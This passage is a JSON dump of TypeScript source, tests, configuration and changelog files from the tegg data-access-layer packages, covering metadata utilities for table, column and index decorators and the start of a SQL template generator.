    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { DAL_COLUMN_INFO_MAP, DAL_COLUMN_TYPE_MAP } from '@eggjs/tegg-types';\nimport type { ColumnParams, ColumnTypeParams, EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport type ColumnInfoMap = Map<string, ColumnParams>;\nexport type ColumnTypeMap = Map<string, ColumnTypeParams>;\n\nexport class ColumnInfoUtil {\n  static addColumnInfo(clazz: EggProtoImplClass, property: string, column: ColumnInfoUtil): void {\n    const columnInfoMap = MetadataUtil.initOwnMapMetaData(DAL_COLUMN_INFO_MAP, clazz, new Map());\n    columnInfoMap.set(property, column);\n  }\n\n  static addColumnType(clazz: EggProtoImplClass, property: string, type: ColumnTypeParams): void {\n    const columnInfoMap = MetadataUtil.initOwnMapMetaData(DAL_COLUMN_TYPE_MAP, clazz, new Map());\n    columnInfoMap.set(property, type);\n  }\n\n  static getColumnInfoMap(clazz: EggProtoImplClass): ColumnInfoMap | undefined {\n    return MetadataUtil.getMetaData(DAL_COLUMN_INFO_MAP, clazz);\n  }\n\n  static getColumnTypeMap(clazz: EggProtoImplClass): ColumnTypeMap | undefined {\n    return MetadataUtil.getMetaData(DAL_COLUMN_TYPE_MAP, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/util/DaoInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { type BaseDaoType, DAL_IS_DAO } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport class DaoInfoUtil {\n  static setIsDao(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(DAL_IS_DAO, true, clazz);\n  }\n\n  static getIsDao(clazz: EggProtoImplClass): clazz is BaseDaoType {\n    return MetadataUtil.getOwnMetaData(DAL_IS_DAO, clazz) === true;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/util/IndexInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { DAL_INDEX_LIST } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, IndexParams } from '@eggjs/tegg-types';\n\nexport class IndexInfoUtil {\n  static addIndex(clazz: EggProtoImplClass, index: IndexParams): void {\n    const indexList: Array<IndexParams> = MetadataUtil.initOwnArrayMetaData(DAL_INDEX_LIST, clazz, []);\n    indexList.push(index);\n  }\n\n  static getIndexList(clazz: EggProtoImplClass): Array<IndexParams> {\n    return MetadataUtil.getMetaData(DAL_INDEX_LIST, clazz) || [];\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/util/TableInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { DAL_IS_TABLE, DAL_TABLE_PARAMS } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, TableParams } from '@eggjs/tegg-types';\n\nexport const TABLE_CLAZZ_LIST: Array<EggProtoImplClass> = [];\n\nexport class TableInfoUtil {\n  static setIsTable(clazz: EggProtoImplClass): void {\n    TABLE_CLAZZ_LIST.push(clazz);\n    MetadataUtil.defineMetaData(DAL_IS_TABLE, true, clazz);\n  }\n\n  // TODO: del exists clazz from TABLE_CLAZZ_LIST\n  static getClazzList(): Array<EggProtoImplClass> {\n    return TABLE_CLAZZ_LIST;\n  }\n\n  static getIsTable(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getMetaData(DAL_IS_TABLE, clazz) === true;\n  }\n\n  static setTableParams(clazz: EggProtoImplClass, params: TableParams): void {\n    MetadataUtil.defineMetaData(DAL_TABLE_PARAMS, params, clazz);\n  }\n\n  static getTableParams(clazz: EggProtoImplClass): TableParams | undefined {\n    return MetadataUtil.getMetaData(DAL_TABLE_PARAMS, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/util/index.ts",
    "content": "export * from './ColumnInfoUtil.ts';\nexport * from './DaoInfoUtil.ts';\nexport * from './IndexInfoUtil.ts';\nexport * from './TableInfoUtil.ts';\n"
  },
  {
    "path": "tegg/core/dal-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/dal/index.test.ts > should export stable 1`] = `\n{\n  \"Column\": [Function],\n  \"ColumnFormat\": {\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n  },\n  \"ColumnInfoUtil\": [Function],\n  \"ColumnModel\": [Function],\n  \"ColumnType\": {\n    \"BIGINT\": \"BIGINT\",\n    \"BINARY\": \"BINARY\",\n    \"BIT\": \"BIT\",\n    \"BLOB\": \"BLOB\",\n    \"BOOL\": \"BOOL\",\n    \"CHAR\": \"CHAR\",\n    \"DATE\": \"DATE\",\n    \"DATETIME\": \"DATETIME\",\n    \"DECIMAL\": \"DECIMAL\",\n    \"DOUBLE\": \"DOUBLE\",\n    \"ENUM\": \"ENUM\",\n    \"FLOAT\": \"FLOAT\",\n    \"GEOMETRY\": \"GEOMETRY\",\n    \"GEOMETRYCOLLECTION\": \"GEOMETRYCOLLECTION\",\n    \"INT\": \"INT\",\n    \"JSON\": \"JSON\",\n    \"LINESTRING\": \"LINESTRING\",\n    \"LONGBLOB\": \"LONGBLOB\",\n    \"LONGTEXT\": \"LONGTEXT\",\n    \"MEDIUMBLOB\": \"MEDIUMBLOB\",\n    \"MEDIUMINT\": \"MEDIUMINT\",\n    \"MEDIUMTEXT\": \"MEDIUMTEXT\",\n    \"MULTILINESTRING\": \"MULTILINESTRING\",\n    \"MULTIPOINT\": \"MULTIPOINT\",\n    \"MULTIPOLYGON\": \"MULTIPOLYGON\",\n    \"POINT\": \"POINT\",\n    \"POLYGON\": \"POLYGON\",\n    \"SET\": \"SET\",\n    \"SMALLINT\": \"SMALLINT\",\n    \"TEXT\": \"TEXT\",\n    \"TIME\": \"TIME\",\n    \"TIMESTAMP\": \"TIMESTAMP\",\n    \"TINYBLOB\": \"TINYBLOB\",\n    \"TINYINT\": \"TINYINT\",\n    \"TINYTEXT\": \"TINYTEXT\",\n    \"VARBINARY\": \"VARBINARY\",\n    \"VARCHAR\": \"VARCHAR\",\n    \"YEAR\": \"YEAR\",\n  },\n  \"CompressionType\": {\n    \"LZ4\": \"LZ4\",\n    \"NONE\": \"NONE\",\n    \"ZLIB\": \"ZLIB\",\n  },\n  \"DAL_COLUMN_INFO_MAP\": Symbol(EggPrototype#dalColumnInfoMap),\n  \"DAL_COLUMN_TYPE_MAP\": Symbol(EggPrototype#dalColumnTypeMap),\n  \"DAL_INDEX_LIST\": Symbol(EggPrototype#dalIndexList),\n  \"DAL_IS_DAO\": Symbol(EggPrototype#dalIsDao),\n  \"DAL_IS_TABLE\": Symbol(EggPrototype#dalIsTable),\n  \"DAL_TABLE_PARAMS\": Symbol(EggPrototype#dalTableParams),\n  \"Dao\": [Function],\n  \"DaoInfoUtil\": [Function],\n  \"DataSourceInjectName\": \"dataSource\",\n  \"DataSourceQualifier\": [Function],\n  \"DataSourceQualifierAttribute\": Symbol(Qualifier.DataSource),\n  \"Index\": [Function],\n  \"IndexInfoUtil\": [Function],\n  \"IndexModel\": [Function],\n  \"IndexStoreType\": {\n    \"BTREE\": \"BTREE\",\n    \"HASH\": \"HASH\",\n  },\n  \"IndexType\": {\n    \"FULLTEXT\": \"FULLTEXT\",\n    \"INDEX\": \"INDEX\",\n    \"PRIMARY\": \"PRIMARY\",\n    \"SPATIAL\": \"SPATIAL\",\n    \"UNIQUE\": \"UNIQUE\",\n  },\n  \"InsertMethod\": {\n    \"FIRST\": \"FIRST\",\n    \"LAST\": \"LAST\",\n    \"NO\": \"NO\",\n  },\n  \"RowFormat\": {\n    \"COMPACT\": \"COMPACT\",\n    \"COMPRESSED\": \"COMPRESSED\",\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n    \"REDUNDANT\": \"REDUNDANT\",\n  },\n  \"SpatialHelper\": [Function],\n  \"SqlType\": {\n    \"BLOCK\": \"BLOCK\",\n    \"DELETE\": \"DELETE\",\n    \"INSERT\": \"INSERT\",\n    \"SELECT\": \"SELECT\",\n    \"UPDATE\": \"UPDATE\",\n  },\n  \"TABLE_CLAZZ_LIST\": [\n    [Function],\n  ],\n  \"Table\": [Function],\n  \"TableInfoUtil\": [Function],\n  \"TableModel\": [Function],\n  \"Templates\": {\n    \"BASE_DAO\": \"base_dao\",\n    \"DAO\": \"dao\",\n    \"EXTENSION\": \"extension\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/dal-decorator/test/fixtures/modules/dal/Foo.ts",
    "content": "import { ColumnType, IndexType } from '@eggjs/tegg-types';\n\nimport { Table, Index, Column } from '../../../../src/index.js';\n\n@Table({\n  comment: 'foo table',\n})\n@Index({\n  keys: ['name'],\n  type: IndexType.UNIQUE,\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n    },\n  )\n  id: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n  })\n  name: string;\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/test/fixtures/modules/dal/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/test/index.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { ColumnType, IndexType } from '@eggjs/tegg-types';\nimport { expect, describe, it } from 'vitest';\n\nimport { ColumnInfoUtil, IndexInfoUtil, TableInfoUtil, TableModel } from '../src/index.ts';\nimport * as types from '../src/index.ts';\nimport { Foo } from './fixtures/modules/dal/Foo.ts';\n\ndescribe('test/dal/index.test.ts', () => {\n  it('should export stable', async () => {\n    expect(types).toMatchSnapshot();\n  });\n\n  it('decorator should work', () => {\n    const columnInfoMap = ColumnInfoUtil.getColumnInfoMap(Foo);\n    const columnTypeMap = ColumnInfoUtil.getColumnTypeMap(Foo);\n\n    const indexList = IndexInfoUtil.getIndexList(Foo);\n\n    const tableInfo = TableInfoUtil.getTableParams(Foo);\n    const isTable = TableInfoUtil.getIsTable(Foo);\n\n    assert.deepStrictEqual(\n      columnInfoMap,\n      new Map([\n        [\n          'id',\n          {\n            primaryKey: true,\n          },\n        ],\n      ]),\n    );\n    assert.deepStrictEqual(\n      columnTypeMap,\n      new Map([\n        [\n          'id',\n          {\n            type: ColumnType.INT,\n          },\n        ],\n        [\n          'name',\n          {\n            type: ColumnType.VARCHAR,\n            length: 100,\n          },\n        ],\n      ]),\n    );\n\n    assert.deepStrictEqual(indexList, [\n      {\n        keys: ['name'],\n        type: IndexType.UNIQUE,\n      },\n    ]);\n\n    assert.deepStrictEqual(tableInfo, {\n      comment: 'foo table',\n    });\n\n    assert.equal(isTable, true);\n  });\n\n  it('model should work', () => {\n    const table = TableModel.build(Foo);\n    assert(table);\n    assert(table.name === 'foos');\n    assert.equal(table.columns.length, 2);\n    assert.equal(table.indices.length, 1);\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n\n### Features\n\n* dal retry when init failed ([#260](https://github.com/eggjs/tegg/issues/260)) ([74e7c06](https://github.com/eggjs/tegg/commit/74e7c067c3ff7ae0ed705abaaa8a91f804e487e3))\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n\n### Bug Fixes\n\n* generate index name with column name ([#230](https://github.com/eggjs/tegg/issues/230)) ([82ec72d](https://github.com/eggjs/tegg/commit/82ec72d4fb8628c847b32d0ddf23a95119ca6ccf))\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n\n### Bug Fixes\n\n* fix total type in paginate ([#228](https://github.com/eggjs/tegg/issues/228)) ([e57b91e](https://github.com/eggjs/tegg/commit/e57b91ee64e89487a3cc1663868d9b819e6e60c0))\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n\n### Bug Fixes\n\n* not overwrite extension file ([#218](https://github.com/eggjs/tegg/issues/218)) ([f915f08](https://github.com/eggjs/tegg/commit/f915f08dc61b01f10400ad844496f5b227f377eb))\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n\n### Bug Fixes\n\n* not overwrite dao file ([#215](https://github.com/eggjs/tegg/issues/215)) ([0856bf1](https://github.com/eggjs/tegg/commit/0856bf189b160c7209bc24cf7eb911ec2f5875d1))\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n\n### Features\n\n* impl dal transaction ([#214](https://github.com/eggjs/tegg/issues/214)) ([b8b67dd](https://github.com/eggjs/tegg/commit/b8b67dd7e0fb282d78de7e68e68834ff79d30732))\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n\n### Bug Fixes\n\n* fix dal runtime dep ([#210](https://github.com/eggjs/tegg/issues/210)) ([5ad7f45](https://github.com/eggjs/tegg/commit/5ad7f4537114217924ae8dc7445e8fc77eee0b5a))\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n\n### Bug Fixes\n\n* fix custom sql extension ([#207](https://github.com/eggjs/tegg/issues/207)) ([a405233](https://github.com/eggjs/tegg/commit/a405233d11323cd8a51c6197e855f0c3ff98337d))\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n\n### Bug Fixes\n\n* fix dao extension in prod ([#206](https://github.com/eggjs/tegg/issues/206)) ([0498e9d](https://github.com/eggjs/tegg/commit/0498e9d11bd9e4d186160e8b6af07e627dde6a20))\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/dal-runtime\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl dal forkDb ([#202](https://github.com/eggjs/tegg/issues/202)) ([a411f04](https://github.com/eggjs/tegg/commit/a411f04e074425419b5b348a362f120bf8189541))\n* impl Date/timestamp on update ([#203](https://github.com/eggjs/tegg/issues/203)) ([e5c7b8d](https://github.com/eggjs/tegg/commit/e5c7b8d529f2854b77de2e99369c781a4ea9e070))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n\n### Bug Fixes\n\n* fix dal templates build ([#199](https://github.com/eggjs/tegg/issues/199)) ([17afe8c](https://github.com/eggjs/tegg/commit/17afe8c98929c7613739e32e897e881619bbdb2a))\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n\n### Features\n\n* dal-runtime templates support pkg alias ([#198](https://github.com/eggjs/tegg/issues/198)) ([cecef78](https://github.com/eggjs/tegg/commit/cecef781bd134b629fc835063a351460aceb340c))\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n\n### Bug Fixes\n\n* add dal templates ([#196](https://github.com/eggjs/tegg/issues/196)) ([49ba4f9](https://github.com/eggjs/tegg/commit/49ba4f9db3d9313654674f813c0358dc0774fd10))\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Bug Fixes\n\n* set column canNull default to false ([#195](https://github.com/eggjs/tegg/issues/195)) ([24628ec](https://github.com/eggjs/tegg/commit/24628ec5a3cd167dc44a50017450d0dedec2c9ce))\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n"
  },
  {
    "path": "tegg/core/dal-runtime/README.md",
    "content": "# `@eggjs/dal-runtime`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/dal-runtime.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/dal-runtime.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/dal-runtime\n[snyk-image]: https://snyk.io/test/npm/@eggjs/dal-runtime/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/dal-runtime\n[download-image]: https://img.shields.io/npm/dm/@eggjs/dal-runtime.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/dal-runtime\n\n## Usage\n\nPlease read [@eggjs/dal-plugin](../../plugin/dal/README.md)\n"
  },
  {
    "path": "tegg/core/dal-runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/dal-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg dal runtime\",\n  \"keywords\": [\n    \"dal\",\n    \"decorator\",\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/dal-runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/dal-runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dal-decorator\": \"workspace:*\",\n    \"@eggjs/rds\": \"catalog:\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"js-beautify\": \"catalog:\",\n    \"lodash\": \"catalog:\",\n    \"nunjucks\": \"catalog:\",\n    \"sdk-base\": \"catalog:\",\n    \"sqlstring\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/js-beautify\": \"catalog:\",\n    \"@types/lodash\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"@types/nunjucks\": \"catalog:\",\n    \"@types/sqlstring\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/BaseSqlMap.ts",
    "content": "import { TableModel } from '@eggjs/dal-decorator';\nimport { ColumnType, IndexType, SqlType, type SqlMap } from '@eggjs/tegg-types';\nimport type { Logger, GenerateSqlMap } from '@eggjs/tegg-types';\nimport _ from 'lodash';\n\nimport { TemplateUtil } from './TemplateUtil.ts';\n\nexport class BaseSqlMapGenerator {\n  private readonly tableModel: TableModel;\n  private readonly logger: Logger;\n\n  constructor(tableModel: TableModel, logger: Logger) {\n    this.tableModel = tableModel;\n    this.logger = logger;\n  }\n\n  generateAllColumns(countIf: boolean): string {\n    const str = this.tableModel.columns.map((t) => `\\`${t.columnName}\\``).join(',');\n    return countIf ? `{% if $$count == true %}0{% else %}${str}{% endif %}` : str;\n  }\n\n  generateFindByPrimary(): Array<GenerateSqlMap> {\n    const result: Array<GenerateSqlMap> = [];\n    const primary = this.tableModel.getPrimary();\n    if (!primary) {\n      this.logger.warn(`表 \\`${this.tableModel.name}\\` 没有主键，无法生成主键查询语句。`);\n      return result;\n    }\n\n    let sql = `SELECT ${this.generateAllColumns(true)}\n               FROM \\`${this.tableModel.name}\\`\n               WHERE `;\n\n    sql += primary.keys\n      .map((indexKey) => `\\`${indexKey.columnName}\\` = {{$${indexKey.propertyName} | param}}`)\n      .join(' AND ');\n    if (primary.keys.length === 1) {\n      result.push({\n        type: SqlType.SELECT,\n        name: `findBy${_.upperFirst(primary.keys[0].propertyName)}`,\n        sql,\n      });\n    }\n    result.push({\n      name: 'findByPrimary',\n      type: SqlType.SELECT,\n      sql,\n    });\n    return result;\n  }\n\n  // TODO index 的左匹配\n  generateFindByIndexes(): GenerateSqlMap[] {\n    const sqlMaps: GenerateSqlMap[] = [];\n    for (const index of this.tableModel.indices) {\n      if (index.type === IndexType.PRIMARY) continue;\n\n      let sql = `SELECT ${this.generateAllColumns(true)}\n                 FROM \\`${this.tableModel.name}\\`\n                 WHERE `;\n\n      sql += index.keys\n        .map((indexKey) => {\n          const s = `\\`${indexKey.columnName}\\` {{ \"IS\" if $${indexKey.propertyName} == null else \"=\" }} {{$${indexKey.propertyName} | param}}`;\n          return s;\n        })\n        .join(' AND ');\n\n      const tempName = _.upperFirst(_.camelCase(index.keys.length === 1 ? index.keys[0].propertyName : index.name));\n      sqlMaps.push({\n        name: `findBy${tempName}`,\n        type: SqlType.SELECT,\n        sql,\n      });\n      sqlMaps.push({\n        name: `findOneBy${tempName}`,\n        type: SqlType.SELECT,\n        sql: `${sql} LIMIT 0, 1`,\n      });\n    }\n    return sqlMaps;\n  }\n\n  generateInsert(): string {\n    let sql = `INSERT INTO 